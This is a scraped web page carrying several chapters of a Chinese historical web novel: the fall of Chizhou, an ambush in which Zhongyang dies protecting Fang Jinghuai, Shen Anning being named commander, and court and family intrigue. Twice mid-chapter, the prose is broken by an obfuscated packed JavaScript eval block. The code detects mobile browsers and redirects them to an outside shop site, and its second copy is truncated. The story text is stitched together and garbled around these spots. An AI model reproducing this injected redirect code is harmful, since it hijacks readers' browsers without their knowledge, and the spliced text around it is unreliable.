方景泽走到房门口时忽然停住了脚步,安静听着房间内传来断断续续的琵琶声,等了一会他才抬手敲了敲门,不一会门便打开了,佩娘似乎早就知道是谁一般,笑着侧身让了让,方景泽便进了门。 “听焦妈妈说你新作了曲子?” 佩娘站在门口接过小厮送来的酒水,才回头道:“近日里闲来无事,想着作首曲子来消遣。” 方景泽接过佩娘送来的酒,一口灌了下去,笑道:“弹来听听!” “曲子还只半首,不如等下次你来我再给你弹?” 方景泽看着佩娘给自己空了的酒杯又添上,便道:“好!” 佩娘在方景泽对面坐下,看着他有些憔悴的面容,“喝了酒便早些歇下吧!别的事……等醒来再说?” 方景泽端着酒杯盯着佩娘看了许久,才道:“好!” 话音一落,方景泽便放下了酒杯,朝床榻而去,佩娘上前替他更衣,又替他盖了被子,看着很快入睡的方景泽,佩娘神情中竟有些伤情,她转身离开了房间。 日光倾泻而下,微风轻拂,这是一个难得的晴日,方景淮迷迷糊糊地朝前走着,像是是被日光刺离开眼,眼前一片模糊,他四处瞧着,眼前的事物渐渐有了形状,他又回到了那处破落的冷宫中。 方景淮像是变成了小时候的小九,又像是长大后的方景淮,他在院中有些迷茫的看着自己的双手,又回过头朝那处院中唯一干净的小屋走去,轻轻推开了门后,屋内挂满了画却空无一人。 像是听见有人在轻声呼唤自己,他朝屋后走去,见屋后还有一处小院,院中有一口水井,水井旁有一个一身素衣的女子回过了头,温柔地朝他笑着。 “阿娘?阿娘!” 方景淮朝那女子跑去,那女子却转身跳进了井中。 “阿娘!” 方景淮见状纵身一跃,也跳了进去,忽然有一人抓住了他的手,方景淮抬头朝井口看去,那人的面容逐渐清晰,方景淮惊讶道:“阿宁?” 方景淮蓦地醒了过来,睁眼看着眼前这眼熟的厢房,慢慢回过了神,这时他才察觉自己的右手动弹不得,他朝床边看去,原来是沈安宁正拉着自己的手睡着了。 睡梦中的沈安宁眉头依旧紧锁,方景淮缓缓伸出了左手想要去抚平她的眉头,沈安宁却慢慢睁开了眼,看着方景淮停在空中的左手,方景淮笑了笑,将手收了回来。 沈安宁抬手覆上的方景淮的额头,见他的高热已经退了,才松了口气。 方景淮坐了起来,看着沈安宁叫来晴云让她去请叶云舒,忽然觉得今日定是个晴日。 等叶云舒来时,江冬屹、张千、李万等都过来了,吕叔还做了一些饭菜端了过来,几人看着沈安宁,沈安宁则看着为方景淮诊治的叶云舒,叶云舒把了把脉后看向方景淮,方景淮则是朝她笑了笑。 叶云舒收了手,回头见沈安宁看着自己,于是道:“他没事了!还是老毛病,休息一阵就好!” 沈安宁朝她道了声谢。 叶云舒一边收拾药箱,一边又想起了沈家如今的情况,便朝沈安宁道:“沈姑娘,节哀!” 沈安宁点了点头,叶云舒叹道:“镇北侯含仁怀义,驻守平川多年,却落得如此,真是让人唏嘘,如今赤州城也丢了……” 叶云舒的话还未完,沈安宁手中正要端给方景淮的粥掉到了地上,溅了一片,叶云舒一怔,见江冬屹、张千、李万等个个神色异常。 “赤州城……失守了?” 沈安宁不可置信地将目光从叶云舒身上移到了身后江冬屹、张千、李万等人身上,几人互相看了一眼,李万上前道:“阿宁,赤州城确实丢了!” 沈安宁感觉喉咙像是被堵住一般,艰难地开口问出了心中已有答案的问题。 “那……她们呢?” 张千低下了头,李万也侧过了头,江时鸣正不解这个她们是谁时,就见自己父亲道:“钱将军和赵将军为拖延时间让赤州城的百姓撤退,已经……殉职了!” 沈安宁忽然感觉有些呼吸困难,忍不住的想吐,她冲出了厢房朝阶梯上想吐出来,却什么也吐不出来,身后是众人的关心,沈安宁却只觉得有些模糊,找不到声音的来源,忽然一只手拉住了自己,沈安宁才低下头看向拉着自己的那只手,顺着那只手看去,周遭的事物渐渐变得清晰。 92. 第九十二章 暗处 懿祥宫中,太后跪在那副菩萨画像前闭眼念诵着经文,白妈妈则跪在一旁,低着头像是跪了许久,殿中的宫人都退了出去,过了不知多久,太后缓缓睁开了眼,看都没看一眼一旁的白妈妈,依旧双手合十道:“我早就说了,狗养久了都知道护主,只是这主人是谁倒是让我意外了?” 白妈妈依旧低着头道:“太后娘娘息怒!他一定是被燕王胁迫了!” “胁迫?”太后嘲讽地笑了一声,又道:“好!你说是胁迫,那我就给他一次机会,杀了那个孽种,我就当他是被胁迫了!” 白妈妈始终没有抬起头,应道:“这次他绝不会让太后娘娘失望!” 太后冷哼一声,又闭上了眼开始诵经。 此时的沈府中,叶云舒正替方景淮把脉,回头见房内没有其他人了,便道:“你身上的毒本就比淑妃娘娘身上的要重,又总是生病,让体内的毒有机可趁,现在虽然已经没事了!但……我一定会尽快找出解药的!” 方景淮靠在床边,苦笑了一声道:“我……还有多久?” 叶云舒一愣,避开了方景淮的目光,“这不是你该考虑的,淑妃娘娘我没能救回来,你我是一定要救的!” 方景淮轻叹了一口气道:“生死有命,你也不必太苛责自己,我只是想知道,我还有多久可以看着她?” 叶云舒起身收拾药箱,低头道:“长则一年,短则……” 叶云舒没再说下去,方景淮仰头躺下,“多谢!” 药箱被叶云舒盖了又盖,却好像怎么也盖不好,这时晴云端着药来了,立在门口问道:“叶医师?” 叶云舒这才抬头看去,道:“喝药吧!” 晴云端着药走向方景淮,方景淮很是爽快地接过了药一口喝了下去,晴云见状看着药碗一旁放着的蜜饯,想起之前沈安宁说起他这么娇气,定会受不了药的苦味,于是命自己准备好蜜饯,晴云见他喝完了药正要问他是否要蜜饯,救听见方景淮问道:“你家小姐呢?” 晴云将药碗扶好,道:“小姐和几位将军商讨了赤州的战况,刚我来送药时见她好像是要出府,应当是有什么重要的事吧!殿下要不要蜜……” 晴云话还未完就见方景淮翻身下了床,晴云想起沈安宁要自己照顾好他,于是急忙问道:“殿下这是要去哪?” 方景淮迅速披了件夹棉的外衫,道:“我出去一趟,你送一下叶医师!” 晴云还未来得及回答救见方景淮已经出了厢房,晴云又看向叶云舒,见叶云舒一直站在药箱旁,见方景淮出去了也只是转头看了他一眼,晴云想了想,既然医师都没说什么,那方景淮出去应该不碍事,于是就听方景淮安排送了叶云舒出府。 方景淮出了沈府后思量了片刻,最后朝一方而去。 沈安宁此时已到了杜府,她抬头看着那写着杜府的牌匾,忽然一人从府门而出,朝沈安宁道:“沈姑娘!我家老爷有请!” 沈安宁点了点头,跟着那人进了杜府,一路到了正厅,那人引着沈安宁坐下,又吩咐人送来茶水,才退了出去,杜泉很快就到了,沈安宁起身一礼。 杜泉道:“不必多礼,沈县主比我想得要早到了一些时日。” 沈安宁闻言也不拐弯抹角,道:“我早已不是什么县主了,杜侍中知道我为何而来?” 杜泉坐下道:“沈姑娘是为了赤州城失守一事来的?” 沈安宁点头道:“我想杜侍中助我重上战场!” 杜泉端起茶杯打量了片刻眼前的沈安宁,“我知道你会为了这事来找我,只是镇北侯和江夫人还未安葬,更何况,侯爷生前希望沈姑娘可以跟江老爷离开,安稳度过此生,沈姑娘可是真的想好了?” “阿爹生在赤州长在赤州,我想他最想回的也是赤州,赤州不能丢!” 杜泉点了点头,道:“沈姑娘请回吧!我会亲自去祭拜侯爷的!” 沈安宁闻言打量了杜泉一眼,起身道:“还未多谢杜侍中通知我舅舅前来!” 杜泉一愣,道:“只是为了故人之约而已,沈姑娘不必放在心上!” 沈安宁行了一礼便离开了,屏风后忽然出来一个七八岁的女童,看着沈安宁一路离开的背影,等沈安宁的背影消失后才坐到了杜泉对面,两只手端了茶壶给两人都倒上了一杯茶。 “阿翁,煖娘不明白!” 杜泉看着前面的女童笑道:“你是不明白为什么有张千、李万,甚至朝中还有别的善战的将领,我却要选沈安宁是吧?” 杜煖点了点头,“沈姑娘在上次宫变一事的事迹我虽有听闻,但她现在毕竟是带罪之身,而且所犯之罪还和杞国有关。” 杜泉道:“张千、李万是难得的将才,却不是帅才,张千、李万武艺超凡,关键时候可以独当一面,却缺乏对大局的掌控,沈安宁虽常常出其不意,可她知道该怎样掌控局面。” 说着杜泉顿了顿,“况且故人于我有恩,他一生光明磊落,死后却要背负这样的罪名,我想他也会心有不甘,倒不如让沈安宁去,一来可以解决赤州的困局,二来,若将来能为他昭雪,也算报故人之恩。” 杜煖端起茶杯,点了点头,像是在思量着什么,神情看起来不像是个七八岁的女童,倒是和对面的杜泉有八九分的相似,杜泉却是朝屋外看去。 方景淮一路朝杜府而去,他知道沈安宁得知了赤州城失守后不会坐以待毙的,现下她最有可能便是去找杜泉。 大道人来人往,四通八达,方景淮到了一处分叉路口时忽然停住了脚步,见前方从大道分出去的一条道上有两人很是眼熟,方景淮看着前方杜桢和方书君的背影正思量着,就听见沈安宁的声音传来,“你怎么出来了?” 方景淮回过头来,见沈安宁正朝自己走来,于是笑道:“我看你出去了!是去杜府了吗?” 沈安宁点了点头,看他穿着夹棉的外衫,便道:“回去吧!” 说完沈安宁又想起他应该回的是燕王府,又道:“你回王府吗?” 方景淮闻言一愣,笑道:“你陪我去取些东西吧!” 沈安宁抬头看了他片刻,点了点头,两人改道朝燕王府而去。 “杜侍中怎么说?” 沈安宁正思量着赤州的情况,忽然听见一旁方景淮的声音,才回过神来,“我想他应该也想我去赤州。” 说着沈安宁顿了顿,“从我回洛京开始,他就处处帮我,我想可能是因为阿爹,只是不知他们之间发生过何事,我之前也不曾听阿爹提起过。” 方景淮听她说着,道:“邵陆两家相持多年,朝中权贵大多投靠两家,唯有杜泉两边不靠却能身居侍中之位,我猜想他的背后应该是圣上。” 沈安宁回过头看向方景淮,正欲开口,就见他身后僻静处有一人影,沈安宁立即将方景淮拉到了身后,看向那人影。 燕王府本是给方景淳建的鲁王府,地处洛京城中繁华之处,只是仍有几段僻静的道路,那人影躲在一旁的檐廊下,见状方景淮也看向那人影,道:“是仲阳!” 那人似乎也看见了这边的动静,缓缓走了出来,沈安宁瞥了一眼仲阳手中的剑,并未放松警惕。 仲阳见状也没再走近,隔了很远道:“主人!沈县主!” 方景淮见沈安宁没有让开的意思,正要说话时就听见一旁传来了一声琵琶声,随后一声清脆的‘铮’声,一人手拿一把利剑朝方景淮刺来,沈安宁一把推开了方景淮,又侧身躲过那剑。 沈安宁盯着那持剑之人看了一眼,才想起这人正是长乐坊的佩娘,只是还未来得及细想这佩娘是为何而来,佩娘已经朝方景淮刺去了。沈安宁迅速上前拉着方景淮躲开,三人缠斗在一起,佩娘虽武艺不差,却也伤不了方景淮一分。 过了一阵,佩娘有些吃力,停在了一旁朝仲阳道:“你还在等什么!” 仲阳紧握着佩剑,不敢去看方景淮,佩娘手持长剑眼神冰冷地看向方景淮,和之前在福星楼时简直判若两人,沈安宁将方景淮紧紧护在身后。 “我就知道你下不了手!那我来帮你除了他!” 说着佩娘又冲了上来,沈安宁也迅速接上,缠斗间佩娘渐渐落了下风,就在沈安宁一掌要打到佩娘时,忽然一旁一直没有动作的仲阳冲了上来,沈安宁只得先退了一步,和两人缠斗在一起。 佩娘一心朝方景淮而去,沈安宁处处拦着她,一旁的仲阳见沈安宁要伤了佩娘时朝沈安宁打去,见佩娘要伤了方景淮时又拔剑挡开了佩娘的剑。 方景淮正担忧地看着沈安宁,见仲阳这般又侧头看向了他,佩娘气道:“你这是干什么?” 仲阳依旧不敢去看方景淮,朝佩娘道:“我不能让你伤了他,也不能让她伤了你!” “没用!”佩娘呵斥了一声,抬手示意了一下,周围突然出现了十几二十来个黑衣人,佩娘用剑指着方景淮,下令道:“杀了他!” 黑衣人一拥而上,沈安宁一掌劈在了靠近的黑衣人脖颈处,又抓着那黑衣人的手翻身将黑衣人压到地上,一把夺过黑衣人手中的利剑抽出,利剑抹过黑衣人的脖颈,很快那人就不动了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13005768|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈安宁拿起剑护在方景淮身旁。 仲阳也朝靠近方景淮的黑衣人杀去,一时也无人能靠近方景淮,这时佩娘看准沈安宁和仲阳被黑衣人缠住,便朝方景淮刺去,沈安宁翻身越过黑衣人挡开了佩娘的剑,佩娘转了个身又是一剑朝方景淮而去,沈安宁正要去接,却见一抹蓝色撞入眼帘。 沈安宁趁佩娘出剑时抓住了佩娘的手,看着她指甲上的蓝色,正要再细看佩娘已是一掌打了过来,沈安宁迅速避开,佩娘却没管沈安宁,而是继续朝方景淮而去,沈安宁想要回身抵挡却被黑衣人拦住。 方景淮有了多次的经验,看准了时机躲开了佩娘的利剑,但方景淮毕竟不是个习武之人,能躲开一次已是侥幸,佩娘没有给他第二次侥幸,利剑看准了方景淮心口而来,方景淮原以为就要死在此处时,想象中的疼痛并没有落到身上。 方景淮盯着眼前的仲阳,他像是一面坚硬的黑墙挡在了自己面前。 佩娘这一剑是看准了方景淮的命去的,因此又准又狠,可看见前方刺中的是仲阳时,佩娘的手有些颤抖,仲阳想要用手中的剑撑在地上来支撑自己快要倒下的身体,只是宝剑也难以承担他的重量,他倒下时却落到了一个充满药草香的怀中。 方景怀抱着仲阳,看着他胸口的长剑,一时不知该如何,黑衣人见佩娘没了动作也都停了下来,佩娘上前一把推开了方景淮,跪坐到了地上抱着仲阳,一手压在长剑处想阻止他流血,又朝身后的黑衣人喊道:“快去请医者!” 沈安宁上前扶起了方景淮,看向地上的那两人。 仲阳转头看向方景淮,“主……主人!我一直……欠你一句……对不起!” 方景淮盯着仲阳惨白的脸,双眸中流淌着悲凉。 佩娘看着仲阳中剑处一直在流血,慌乱道:“还不去找医者!快去啊!”说着佩娘声音中已带了一点哭腔,她回头看着怀中的仲阳,“没事的!没事的!阿姐一定会救你的!” 仲阳回头看向佩娘脸上的泪珠,笑道:“阿姐,我……终于……解脱了!” 说着仲阳便没了声音,佩娘的呼吸也跟着停滞了一瞬,她缓缓唤道:“阿阳?阿阳?” 方景淮看着这一幕,眼前的景象似乎变得有些模糊,他转身低声道:“我们走吧!” 沈安宁听他声音有些异常,也没再多言,两人一道回了燕王府。 方景淮一到府上就往后院去了,沈安宁正要跟上,就见一个妇人忽然凑到了眼前,沈安宁警惕的退了一步,待看清那人后,才想起这人是冷宫中那个妇人。 梁妈妈见到沈安宁似乎很开心,上前道:“你好久没来了!” 沈安宁看着她,随后点了点头,梁妈妈盯着沈安宁笑了笑,又上前一步拉起了沈安宁的手,“你跟我来!” 沈安宁仍由她拉着,两人到了后院一处晒满了画卷的小院,梁妈妈停在了门口,放开了沈安宁的手,示意沈安宁自己进去。 梁妈妈歪着头朝沈安宁一笑就离开了,沈安宁看向院中,缓缓走了进去,从打开的窗户处见方景淮坐在地上不知在想什么,沈安宁朝他走去,走近后才发现他腿上放着一卷打开的画卷,画卷上是一处破落的院子,院中两个年纪相仿的孩童,一人正在书案写着什么,另外一人则在院中挥舞着长剑。 方景淮道:“阿娘离开前叫我不要怪他,可我心中对他还是有些隔阂。” 沈安宁知道他说得是仲阳,“他是……谁的人?” 方景淮低头看向那幅画卷,“太后。” 沈安宁一怔,“那你身上的毒……是太后?” 方景淮点了点头,伸手覆上那舞剑的孩童,“我小时候身边只有阿娘、梁妈妈和一个疯了的前朝妃嫔,有一天突然出现了一个和我年纪相仿的少年,我们聊得很开心,他和我说了很多我从来没见过的东西,后来他常常来找我玩,直到有一天他说他以后就住在这里了,我当时真的很开心,可就是那天,我中了毒,再醒来的时候就是阿娘跟我说让我不要怪他,现在想来,阿娘那时是在跟我交代后事吧!” 一滴泪掉到了画卷上,沈安宁抬头看去,伸手覆盖在方景淮停在画卷上的手上。 夜幕降临,佩娘失落了朝长乐坊走去,忽然前方的光亮被遮住了,佩娘才抬起头看过去,看清了来人后忽然哭了出来,“阿阳没了!” 雷炎抬手擦了佩娘脸上的泪水,两人一道朝长乐坊走去。 长乐坊对面的酒楼上,邵暮带着可以遮住全身的幂篱坐在窗旁,白纱下的脸上忽然浮起了一丝诡异的笑。 93. 第九十三章 蓝甲 等沈安宁和方景淮回到沈府时,天已经全黑了,空中挂着点点星光,两人还未走到正厅就听见张千和江冬屹吵了起来,两人互相看了一眼朝声音来源处而去。 正厅中江冬屹一掌拍在一旁的扶手上,起身道:“我不管你们说什么!反正阿宁我是一定要带走的!” 张千双手扶着扶手似乎想要站起来,李万用那只还能动的手按在他肩上,朝江冬屹道:“不如等阿宁回来问问她的想法?” 江冬屹道:“我知道你们想干嘛!可阿妤就这一个孩子,我不会让她去送死的!你们想都别想!” 沈安宁一脚塌进了正厅,“舅舅!这不是去送死,赤州城本就是我们的,我不能让给杞国,更何况,即使不去赤州,我也不会跟你离开的,那我会留在洛京找机会为沈家洗清冤屈!” 江冬屹上前道:“可是你阿爹他希望你能离开这里!” 沈安宁看向一旁放着沈海尸体的棺椁,“那他也会明白我为何留下!”说着沈安宁回过头,“舅舅,我知道你是为了我好!但我不想就这样苟活!” 江冬屹看着沈安宁,她不仅有着和江秋妤相似的面容,还有着和江秋妤一样的倔强,江冬屹知道自己说服不了沈安宁,也不可能将她打晕带走,却还是不愿放弃,只道:“现在还早,你再想想,一切等阿妤她们下葬后再说!” 沈安宁走向三人的棺椁,“她们还不能下葬,我要带她们回赤州!” 江冬屹知道自己说不动沈安宁了,转头看向一直没有说话的儿子,江时鸣见自己父亲看向自己,思忖着上前道:“阿爹!姑父和阿宁自小就长在赤州,自然对赤州城有着别样的情义,你何不就遂了她的愿?” 见儿子也这样说,江冬屹扫了一眼几人,就哼了一声离开了。 李万这才回头看向沈安宁道:“阿宁,你刚去哪了?” 沈安宁回头看了一眼一直没说话的方景淮,才和张千、李万说了去找杜泉的事,张千和李万虽没经历赤州城的战事,但两人上朝时也得知了一些消息,再加上三人对赤州城也很是了解,于是三人便就现有的形势分析了一遍赤州现在的情况。 方景淮和江时鸣两人并未离开,而是专注着听着三人说话。 此时的邵国公府,邵暮正带着侍女朝邵修齐的屋子而去,等照顾着邵修齐吃了饭后,几个侍女都退离开下去,几个小厮也到一旁偏屋为邵修齐准备洗澡水,屋中只有山桃在收拾桌上的剩饭,邵暮坐到了邵修齐床边,看着只有眼睛能动弹的邵修齐,邵暮道:“你以前是何等的风光啊!如今却落得这个下场。” 邵暮顿了顿,像是在思索着什么,“所以说,与其投靠别人,还不如将权力放在自己手中。” 山桃被邵暮这前言不搭后语的话弄得十分疑惑,可又想近日自己小姐处处都与往日里不同,便也没再问她。 邵暮盯着邵修齐看了许久,道:“还未告诉你,你最欣赏的沈海,死了!” 邵修齐闻言双目睁圆,看起来十分吓人,邵暮又道:“你应该猜得到吧!你的儿子也参与其中!” 邵修齐依旧瞪着邵暮,像是下一刻就要说话了,这时屋外传来小厮的声音,“小姐!水准备好了!” 邵暮起身道:“你们伺候好老太爷!” 说着便转身离开了,邵修齐闭上了双目,一滴从眼角滑落,像是在叹息他自己,又像是在叹息这个姜国。 第二日,邵暮像往常一样早早地就起了,忽然山桃着急忙慌的跑了进来,“小……小姐!老太爷……老太爷没了!” 邵暮闻言有些惊讶,却又很快恢复如常,道了声,“知道了!” 一场大雨后,今日碧空如洗,李万前去上朝,张千因腿伤不便留在了沈府,沈安宁跪在了灵堂中烧着纸钱,忽然外面传来声响,晴云带着几位公主和叶云舒一道进来了。 方昭潇一见沈安宁就哭道:“师父!你可算出来了!” 沈安宁跪在火盆旁抬头看去,方昭清拉过方昭潇,几人一道上了香,沈安宁谢了礼。 方昭潇跪到了沈安宁身旁,看着沈安宁道:“师父,怎么几天没见你就瘦了这么多?我们都相信你!你绝对不会通敌的!” 沈安宁道:“多谢!” 江时鸣推着张千闻声而来,见来得几位除了昨日见过的叶医师,其他几人都衣着非凡,张千倒是认识几位公主,于是问了一礼,江时鸣见状才跟着行了一礼。 等几位公主免了两人的礼,张千才朝沈安宁道:“阿宁,你去招待几位公主和叶医师吧!这里交给我们!” 沈安宁这才起了身,引着几人到了偏厅,山丹看着阿月的牌匾,见方昭溪已经走远了才小跑了几步跟上,晴云又送上来了茶水,方昭清这才开口道:“沈姑娘,接下来可有什么打算?” 方昭潇闻言起身拉住了沈安宁,“师父!你会离开洛京吗?那你要去哪?回赤……” 方昭潇话还未完就被方昭清拉住了,沈安宁道:“赤州城失守一事我知道了!” 方昭清安慰道:“沈姑娘不必担心,父皇他们一定会想办法夺回赤州的!” 沈安宁点了点头,方昭溪坐在一旁,四处瞟了一眼,道:“现在也不是说这些的时候,等侯爷和江夫人安葬后,你若没地方去,就留在洛京吧!当成我及笄时,父皇曾送了几处院子给我,你挑一处住吧!” 方昭潇歪着头打量着方昭溪,方昭溪被她看得有些不自在,一把将她的头推开,沈安宁道:“多谢五公主!不过,等到时候再说吧!” 方昭溪见沈安宁没要院子,正要生气时又想到她刚失了双亲,便没有出声了。 这时方景淮突然端着一锅鱼汤出现,几位公主见他都是一愣,只有叶云舒和方昭浅像是知道他会在这。 方昭潇上前道:“九哥!你怎么在这啊?你手上是什么啊?好香啊!” 方景淮也是一愣,又很快回过神,朝方昭潇道:“鱼汤!” 方昭潇拉着他的外衫踮起脚想要看看他手中的鱼汤,“我看看!” 方景淮笑着端了进去,方昭潇迫不及待地想要尝一口,方景淮便给她盛了一碗,又分给了其他几位公主。 沈安宁趁着这个间隙朝叶云舒示意了一下便悄悄离开了,叶云舒看了一眼方景淮也跟着沈安宁出去了,等到了回廊处,沈安宁拿出了从阿月的旧衣物中搜出的药粉递给了叶云舒,“叶姑娘,你知道这是什么吗?” 叶云舒接过药粉一看,“这是阿月姑娘给你的吧!” 沈安宁一怔,“你知道?” 叶云舒点了点头,“这是我给阿月姑娘的,这个药粉是我小时候配药时意外发现的,它并没有毒,只是沾到皮肤上会让人的皮肤像被打一样肿起来,沾到指甲上就会呈现蓝色,即使新长出的指甲也依旧是蓝色的难以去掉,当时阿月姑娘觉得有趣就向我要了一包。” “蓝色指甲?”沈安宁想起阿月和佩娘手上蓝色的指甲,又问道:“那你还给过谁?” 叶云舒摇了摇头,“这药粉既不能治病救人,又不能强身健体,只是用来捉弄旁人,若不是阿月姑娘问起,也不会给她。” “那你见过佩娘吗?” “佩娘?”叶云舒想了想,疑惑道:“佩娘是谁?” 沈安宁思索道:难道阿月之前见过佩娘?又是何时见的?仲阳是太后的人,那这个佩娘难道也是太后的人?可太后又是为了什么? 叶云舒见她似乎在想什么,也没打扰,只在一旁等着。 这时方景淮寻了出来,见两人在聊着什么,问道:“你们在说什么呢?” 说着方景淮看见了叶云舒手中的药粉,问道:“这是什么?” 叶云舒向他解释了一番,两人看向沈安宁,沈安宁将她在阿月和佩娘手上看见蓝色指甲一事说了。 方景淮听后疑惑道:“洛京中就常有富家小姐染指甲,佩娘身处长乐坊,会不会是她自己染的呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方承尧沉默着,一个大臣道:“可她是罪臣之女啊?” 杜泉道:“沈海并未定罪。” “他虽未定罪,可他府上的侍女是杞国县主一事并没有冤枉他。” 杜泉看向龙椅上的方承尧,“如今杞国正霸占着赤州城,下一步可能就是池州了,沈安宁的才能圣上也见识过,更何况她还是李万将军的徒弟,又自小在赤州长大,对赤州城十分熟悉,由她去收复赤州正合适!” 方景泽思量了片刻,道:“圣上,依沈安宁的才能,若真能收复的了赤州,那便由她去,毕竟赤州现在情况危急!” 方承尧思忖道:“好!那便由李万挂帅,沈安宁随行!务必收回赤州!” 李万上前道:“圣上!沈安宁虽是我徒弟,但她常能出其不意,让对方摸不到脉门,若是能让她挂帅,臣为先锋,必能尽快收回赤州!” 此话一出,诸位大臣又是一惊,一个大臣很快就上前道:“回圣上!自古以来哪有女子挂帅的!这万万不可!” 其他一些大臣也附和,杜泉上前道:“圣上!李将军正是从赤州而来,他对赤州比我们了解,他既然能提出让沈安宁挂帅便定有其道理在,圣上!收回赤州才是最紧要的!” 几位大臣正要反驳杜泉,方承尧出声道:“李万,你说要沈安宁挂帅就能尽快收回赤州,好!朕听你的!由沈安宁挂帅,你为先锋,张千双腿不便就负责押运粮草,你们必须尽快给我将赤州收回!否则,朕唯你是问!” 李万上前谢恩,众人又商讨了赤州的形势便散朝了,李万出了宫后正要回沈府,忽然见身后杜泉跟着自己,于是问道:“杜侍中可是找我有事?” 杜泉道:“李将军这是回沈府吗?” “是!” 杜泉又道:“我同李将军顺路,我正要去沈府祭拜侯爷!” 94. 第九十四章 出征 转日,邵国公府挂起了丧幡,前来祭拜的王公大臣不计其数,一时邵府门庭若市,热闹非凡。 正在这时,金碧辉煌的玉辇缓缓朝邵府驶来,众人一见玉辇,都迎出了门,分成了两队立在邵府门口的大道上,低着头等着玉辇停下。 待玉辇停在了邵府大门前时,邵盛已带着一家老小身着孝衣跪倒了门前迎接,方承尧咳了几声,随后在康公公的搀扶下下了玉辇,他抬头看向邵府的牌匾,抬手示意邵盛他们起身,又免了众人的礼。 邵盛便立即上前,引着方承尧进了府,跟在方承尧身后的是破例允许出宫的邵贵妃,她的脸上没了往日的色彩。 方承尧一路到了摆放邵修齐的灵堂,看着邵修齐的牌位,心中却想起当初那群跟随先帝起义的人一个个都已离开,是不是下一个就到自己了,可现在丢了赤州,自己又该如何下去见他们,方承尧不知道自己让沈安宁挂帅是否能行,可抬眼看去,这么多年的党争,让他确实难以找出一个可以担此重任的人。 方承尧心中很清楚,杜泉是有私心的,可只要能收复赤州,他便都随他们去了。 众人看着方承尧站在哪沉默了许久,都不敢上前打扰,倒是康公公上前低声提醒道:“圣上?” 方承尧收回了思绪,给邵修齐上了三柱香,就转身离开了,留了邵贵妃在邵府祭拜。 邵贵妃谢了恩,守在了父亲灵前,方景澄虞芳草夫妇也一一上前祭拜,方景澄见邵贵妃很是伤心,于是夫妻两交换了个眼神,虞芳草便上前扶着邵贵妃安慰她。 方景泽本是跟着方承尧来的,如今方承尧走了,他上前上了香就也想离开了,见邵暮立在一旁,她也是出来接驾的,方景泽只瞥了她一眼便离开了。 邵暮的目光却一直跟着他离开,这一幕被邵盛看见,心中思量了几分,又转身去招呼王公大臣了。 这一日邵府中很是热闹,一些家仆侍从都待在一处专门用来安置他们的小偏房等自家老爷夫人,人一多就难免聊了起来,有些不知邵家内情的,今日见邵家接驾时都在,却没有邵小姐的生母,一时好奇就聊了起来。 “都说这邵公子和邵小姐并非一母所生,那今日为何不见邵小姐的母亲?” “是啊!圣上亲至,都没出来接驾,会不会已经……” “不会不会,邵府这二十几年来就办了两场丧事,一次比一次热闹,若邵小姐的母亲真的没了,即使是小妾也不会随意就埋了吧!” “那是为何?” 众人你一言我一语的聊了起来,有些知道一些的便道:“那是你们不知道!这邵小姐的生母是王夫人的陪嫁!” 众人一听有个知道的,便凑上前想让他说得多些,就连一些原来就知道的也忍不住凑了只耳朵去,那人见众人都凑了过来,一时有些得意,笑道:“这位柳姨娘啊是……” 话还未完,房门突然被一脚踹开了,众人闻声望去,正是邵晨。 邵晨一眼便看见那说话之人,朝后挥了挥手,三四个小厮立即上前将那人打倒在地,接着又是一顿拳打脚踢,众人看了都不敢上前,缩到了一旁。 “行了!”邵晨见打得差不多了,便上前蹲在了那人面前,冷哼一声道:“什么姨娘?一个低贱的下人也配?这邵府只有我阿娘一位夫人,知道了吗?” 那人忍着疼痛用力点头,“小的知道了!知道了!” 邵晨起了身,又是一脚踢向了那人,转身道:“我不管你们是哪门哪府的下人,再让我听到谁在背后说我阿娘,下场只会比他更惨!” 说完邵晨便离开了,屋内众人看着地上那奄奄一息的人,不敢上前。 屋外邵暮立在月洞门旁看着邵晨离开,山桃有些担忧地看向邵暮,“小姐?” 邵暮却没有任何表情,这本就是早就知道的事,邵晨对柳玉的厌恶从来就没有掩饰过,只是让邵暮愤懑的是总有人时刻提醒她,提醒她的出身。 邵暮一只手紧握成拳,却只平静地说道:“走吧!” 山桃小心地跟上邵暮。 天边还留着一丝红光,邵盛忙活了一天,早已累的筋疲力尽,他闭着眼坐在书房中,身后是一人为他捶着背,忽然他睁开了眼,道:“去叫小姐过来!” 身后的侍从闻言一愣,随后反应过来,应下了便离开了书房,过了一阵,那人带着邵暮过来了,邵盛屏退了众人。 邵暮见状有些不明所以,邵盛却只盯着她,邵暮抬头道:“阿爹这是?” 邵盛冷哼了一声,“是我小看你了啊!” 邵暮眼神闪烁了片刻,又很快恢复镇静道:“阿爹在说什么?” 邵盛依旧盯着邵暮,道:“你和方景泽怎么回事?” 邵暮一怔,心跳像是停了一刻,“阿爹在说什么,我不明白?” “不明白?”邵盛起身朝邵暮走去,“今日他走之前为何看你?” 邵暮闻言,心已落回了一半,又试探道:“我也不知,会不会是因为大狱里死的那个侍女,他有所怀疑了,所以想从我下手?” 邵盛半信半疑道:“他怎么会知道那个侍女……”说着邵盛顿了顿,想起了那个被买通的大理寺卿,又道:“一个侍女而已,他哪能上心?必定是因为沈安宁挂帅一事,将来她一定会重提沈海一案,所以方景泽想抓住我们的把柄,那他可有找你?” 邵暮看着邵盛摇了摇头,想了想又道:“许是因为今日人多不便,若是他真的找我,阿爹,我该怎么做?” 邵盛回头打量了一眼邵暮,笑道:“往日里没觉得,今日一看我女儿还真是国色天香,怎么做还用我教吗?” 